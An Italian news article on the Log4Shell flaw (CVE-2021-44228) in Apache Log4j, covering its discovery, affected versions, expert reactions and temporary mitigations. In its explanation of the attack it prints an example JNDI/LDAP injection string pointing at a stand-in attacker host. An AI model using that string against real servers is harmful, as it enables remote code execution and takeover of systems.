La vulnerabilità di Log4Shell minaccia in modo critico chiunque utilizzi il popolare framework open source Apache Struts e potrebbe portare a un “mini crollo di Internet a breve”.
Un difetto devastante e facilmente sfruttabile nell’onnipresente libreria Java logging di Apache Log4j potrebbe consentire l’esecuzione di codice remoto (RCE) non autenticato e il controllo completo del server, se viene sfruttato. Il difetto è apparso per la prima volta sui siti che si rivolgono agli utenti del gioco Minecraft, lo scorso giovedì.
Secondo quanto riferito, i siti hanno avvertito che gli aggressori potrebbero scatenare codice dannoso su server o client che eseguono la versione Java di Minecraft manipolando i messaggi di registro, incluso il testo digitato nei messaggi di chat.
Lo stesso giorno, il difetto ancora senza patch è stato soprannominato “Log4Shell” da LunaSec e ha iniziato a essere monitorato come CVE-2021-44228.
Venerdì mattina, il Cyber Emergency Response Team (CERT) del Deutsche Telekom Group ha twittato che stava vedendo attacchi ai suoi honeypot provenienti dalla rete Tor mentre gli attori delle minacce cercavano di sfruttare il nuovo bug.
Per tutto il giorno il CERT Nuova Zelanda e molti utenti hanno fatto piped su Twitter per avvertire che stanno vedendo l’exploit.
Questo problema causerà un mini-tracollo di Internet, hanno detto gli esperti, dato che Log4j è incorporato in framework popolari, tra cui Apache Struts2, Apache Solr, Apache Druid e Apache Flink. Ciò espone un numero immenso di app di terze parti che potrebbero anche essere vulnerabili allo stesso tipo di exploit ad alta gravità di quelli individuati in Minecraft, così come nei servizi cloud come Steam e Apple iCloud, ha avvertito LunaSec.
A partire da venerdì, è stata rilasciata la versione 2.15.0: log4j-core.jar disponibile su Maven Central, con le note di rilascio disponibili qui e gli annunci di sicurezza Log4j di Apache disponibili qui.
Imminente “fusione del nocciolo” di internet?
Anche se una correzione iniziale è stata pubblicata in fretta e furia venerdì, ci vorrà del tempo per arrivare a tutti quei progetti, data l’estensione della libreria di logging incorporata in tutte le dipendenze.
“Aspettatevi presto un mini-tracollo di internet”, ha detto lo specialista di sicurezza britannico Kevin Beaumont, che ha twittato che la correzione “deve arrivare a valle verso Apache Struts2, Solr, distribuzioni Linux, fornitori, appliance ecc.”
Solo un esempio dell’enorme portata del bug: venerdì mattina, Rob Joyce, direttore della sicurezza informatica presso la National Security Agency (NSA), ha twittato che anche il GHIDRA della NSA – una suite di strumenti di reverse engineering sviluppati dalla Direzione della ricerca della NSA – include la libreria Log4j.
“La vulnerabilità Log4j è una minaccia significativa a causa della diffusa inclusione nei framework software, anche ghidra della NSA. Questo è un caso di studio sul perché i concetti di software bill of material (SBOM) sono così importanti per comprendere l’esposizione. “
Rob Joyce, direttore della sicurezza informatica della NSA
CVSS Punteggio massimo: 10!
La scoperta del bug è stata accreditata a Chen Zhaojun di Alibaba. È stato assegnato il punteggio CVSS massimo di 10, data la facilità nello sfruttare, la capacità degli aggressori di prendere il controllo dei server mirati e l’ubiquità di Log4j. Secondo il CERT Austria, la falla di sicurezza può essere sfruttata semplicemente registrando una stringa speciale.
I ricercatori hanno detto ad Ars Technica che Log4Shell è un bug di deserializzazione Java che deriva dalla libreria che effettua richieste di rete attraverso la Java Naming and Directory Interface (JNDI) a un server LDAP ed esegue qualsiasi codice restituito. Secondo quanto riferito, viene attivato all’interno dei messaggi di registro con l’uso della sintassi ${}. “
“JNDI attiva una ricerca su un server controllato dall’attaccante ed esegue il codice restituito“, secondo l’advisory di CERT Austria, pubblicato venerdì, ha visto che il codice per un exploit proof-of-concept (PoC) è stato pubblicato su GitHub.
“Questa vulnerabilità Log4j (CVE-2021-44228) è estremamente grave“, ha twittato l’esperto di sicurezza Marcus Hutchins. “Milioni di applicazioni utilizzano Log4j per la registrazione e tutto ciò che l’utente malintenzionato deve fare è fare in modo che l’app registri una stringa speciale“.
Javageddon
I ricercatori di sicurezza non vogliono dire che il cielo stia cadendo, di per sé, ma sicuramente poco ci manca. Stanno confrontando questo scenario con Shellshock per quanto riguarda la sua enorme gravità potenziale. Aka Bashdoor, Shellshock era una famiglia di bug di sicurezza nella shell Unix Bash presente in quasi tutte le distribuzioni Linux, UNIX e Mac OS X. A poche ore dalla sua divulgazione iniziale nel 2014, è stato sfruttato da botnet di computer compromessi per eseguire attacchi DDoS (Distributed Denial-of-Service) e scansione delle vulnerabilità.
I ricercatori di sicurezza stanno considerando Log4Shell molto simile a Shellshock per quanto riguarda l’enorme superficie di attacco che pone. John Hammond, Senior Security Researcher di Huntress, che ha creato un PoC per Log4Shell, ha previsto che gli attori delle minacce includeranno probabilmente payload in semplici connessioni HTTP, sia in un’intestazione User-Agent che in banali dati del modulo POST.
Ha raccomandato che le organizzazioni che utilizzano attivamente Apache log4j “devono assolutamente eseguire l’aggiornamento a log4j-2.1.50-rc2 il prima possibile”. Hammond ha condiviso questo elenco crescente di software e componenti vulnerabili a Log4Shell che viene condiviso su GitHub.
Versioni affette
Giovedì, LunaSec ha spiegato che le versioni interessate sono 2.0 <= Apache log4j <= 2.14.1.
Ha aggiunto che le versioni JDK superiori a 6u211, 7u201, 8u191 e 11.0.1 non sono interessate dal vettore di attacco LDAP, dato che in quelle versioni, “com.sun.jndi.ldap.object.trustURLCodebase è impostato su false, il che significa che JNDI non può caricare una base di codice remota utilizzando LDAP”.
La vulnerabilità dipende anche da configurazioni specifiche. Ma ci sono “altri vettori di attacco che prendono di mira questa vulnerabilità che possono causare RCE”, ha continuato LunaSec. “A seconda del codice presente sul server, un utente malintenzionato potrebbe sfruttare questo codice esistente per eseguire un payload”, indicando un post Veracode su un attacco mirato alla classe org.apache.naming.factory.BeanFactory presente sui server Apache Tomcat.
LunaSec ha concluso che, “dato quanto sia onnipresente questa libreria, l’impatto dell’exploit (controllo completo del server) e quanto sia facile da sfruttare, l’impatto di questa vulnerabilità è piuttosto grave“.
Le organizzazioni possono sapere se sono interessate esaminando i file di registro per i servizi che utilizzano le versioni Log4j interessate. Se contengono stringhe controllate dall’utente – CERT-NZ utilizza l’esempio di “Jndi:ldap” – potrebbero essere interessate.
“Se ritieni di poter essere vulnerabile al CVE-2021-44228, Randori incoraggia tutte le organizzazioni ad adottare una mentalità di violazione presunta e rivedere i registri per le applicazioni colpite per attività insolite”, hanno scritto i ricercatori di sicurezza informatica di Randori.
Chris Morgan, analista senior di cyber threat intelligence presso Digital Shadows, ha osservato che è stata rilasciata una soluzione alternativa per risolvere il difetto, che fa parte di Log4j versione 2.15.0; secondo quanto riferito, modifica un’impostazione di sistema da “false” a “true” per impostazione predefinita.
Non cambiatelo, ha avvertito: gli utenti che cambiano l’impostazione in “false” rimangono vulnerabili agli attacchi e, di conseguenza, “si consiglia vivamente che questo non venga restituito alla sua impostazione precedente”, ha detto venerdì. Data la portata dei dispositivi interessati e la sfruttabilità del bug, è molto probabile che attiri una notevole attenzione sia da parte dei criminali informatici che degli attori associati. Si consiglia alle organizzazioni di eseguire l’aggiornamento alla versione 2.15.0 e di porre ulteriore vigilanza sui registri associati alle applicazioni sensibili.
Mitigazione temporanea
Per evitare che la libreria venga sfruttata, si consiglia urgentemente di aggiornare le versioni di Log4j a log4j-2.15.0-rc1.
Ma per coloro che non possono aggiornare subito, LunaSec ha indicato una discussione su HackerNews riguardante una strategia di mitigazione disponibile nella versione 2.10.0 e successive di Log4j che è stata pubblicata nelle prime ore di venerdì mattina.
Per le versioni precedenti alla 2.10.0 che non possono essere aggiornate, sono state suggerite queste opzioni di attenuazione:
- Modificare ogni layout del modello di registrazione per dire %m{nolookups} invece di %m nei file di configurazione della registrazione (ecco i dettagli di Apache);
- Sostituire un’implementazione non vulnerabile o vuota della classe org.apache.logging.log4j.core.lookup.JndiLookup, in modo che il classloader utilizzi la versione sostitutiva anziché la versione vulnerabile della classe. Fare riferimento alla documentazione relativa al caricamento delle classi dell’applicazione o dello stack per comprendere questo comportamento;
- Gli utenti devono passare log4j2.formatMsgNoLookups a true aggiungendo: “‐ Dlog4j2.formatMsgNoLookups=True” al comando JVM per l’avvio dell’applicazione.
Come funziona la vulnerabilità
Il team di Huntress ThreatOps ha pubblicato dettagli sull’impatto della vulnerabilità e consigli su ciò che le organizzazioni dovrebbero fare dopo. Aspettatevi che esso e altri rapporti vengano aggiornati man mano che la situazione si sviluppa.
I ricercatori di Huntress hanno affermato che il vettore di attacco è “estremamente banale” per gli attori delle minacce. Come è stato notato, basta una singola stringa di testo per attivare un’applicazione per raggiungere una posizione esterna se viene registrata tramite l’istanza vulnerabile di log4j.
Come Hammond ha detto, un possibile exploit potrebbe comportare che un attore di minacce fornisca testo speciale in un’intestazione HTTP User-Agent o una semplice richiesta di modulo POST, con il solito modulo:
${jndi:ldap://maliciousexternalhost.com/resource
… dove maliciousexternalhost.com è un’istanza controllata dall’avversario.
La vulnerabilità log4j analizza l’input e raggiunge l’host dannoso tramite JNDI. “La risorsa di prima fase funge da trampolino di lancio per un altro endpoint controllato dall’attaccante, che serve al codice Java da eseguire sulla vittima originale”, secondo Huntress. “In definitiva, questo garantisce all’avversario l’opportunità di eseguire qualsiasi codice che vorrebbe sul target: l’esecuzione di codice remoto”.
Fermate le tastiere, analizzate quello che c’è
E’ arrivato il momento di preparare i biscotti di Natale: sarà una lunga settimana per molte persone, secondo Casey Ellis, fondatore e CTO di Bugcrowd, che lo definisce “uno scenario peggiore”.
“La combinazione dell’uso onnipresente di log4j nel software e nelle piattaforme, i molti, molti percorsi disponibili per sfruttare la vulnerabilità, le dipendenze che renderanno difficile l’applicazione di patch a questa vulnerabilità senza rompere altre cose e il fatto che l’exploit stesso si inserisce in un tweet”
Casey Ellis
Per prima cosa, ha detto, “smetti di fare quello che stai facendo come sviluppo di software ed enumera dove log4j esiste e potrebbe esistere nel tuo ambiente e nei tuoi prodotti“. Ha osservato che è il tipo di software “che può facilmente essere lì senza rendere evidente la sua presenza, quindi ci aspettiamo che la coda di sfruttabilità su questa vulnerabilità sia piuttosto lunga“.
Tim Wade, direttore tecnico del team CTO di Vectra, ha dichiarato che le specifiche di come si svolgeranno gli attacchi sono “ancora un po ‘aperte”. Ma dato l’uso diffuso compreso tutti il software sottostante, ha detto, “sembra assolutamente un buon candidato per l’ingresso di rete dannoso, il che significa che i difensori della rete dovrebbero stare in guardia per il traffico in uscita sospetto che potrebbe indicare comando e controllo“.
Wade ha detto che questo è un esempio di quanto siano critiche le capacità di rilevamento e risposta efficaci e “espone davvero quanto sia rischiosa la strategia ‘prevenire, correggere e pregare’ che è così ampiamente adottata nei programmi di sicurezza legacy“.
John Bambenek, cacciatore di minacce presso Netenrich, ha affermato che le mitigazioni dovrebbero essere applicate al più presto, incluso l’aggiornamento di Java. Ha detto che anche i firewall delle Web application dovrebbero essere aggiornati con una regola appropriata per bloccare tali attacchi.
Maestro del Caos Digitale e Guardiano del Cyberspazio, naviga nel mare oscuro della sicurezza informatica da oltre vent’anni, armato di codice e un irresistibile papillon.
Con la precisione di un bisturi e l’umorismo di un hacker, ha trasformato centinaia di “comuni mortali IT” in veri e propri ninja dell’Ethical Hacking. La sua missione? Insegnare l’arte della difesa digitale a migliaia di ignare risorse aziendali, un firewall alla volta.
Tre segreti che lo rendono un unicorno nel mondo cyber:
Ha una relazione quasi ossessiva con le password. Alcuni collezionano francobolli, lui colleziona hash crittografici.
Il suo gatto si chiama Hash. Sì, come l’algoritmo. No, non miagola in binario (ancora).
Indossa sempre un papillon, perché chi ha detto che non si può hackerare con stile?
Se lo cercate, seguite la scia di bit verdi: è il suo colore preferito. Perché anche nel mondo digitale, è sempre primavera per la sicurezza!
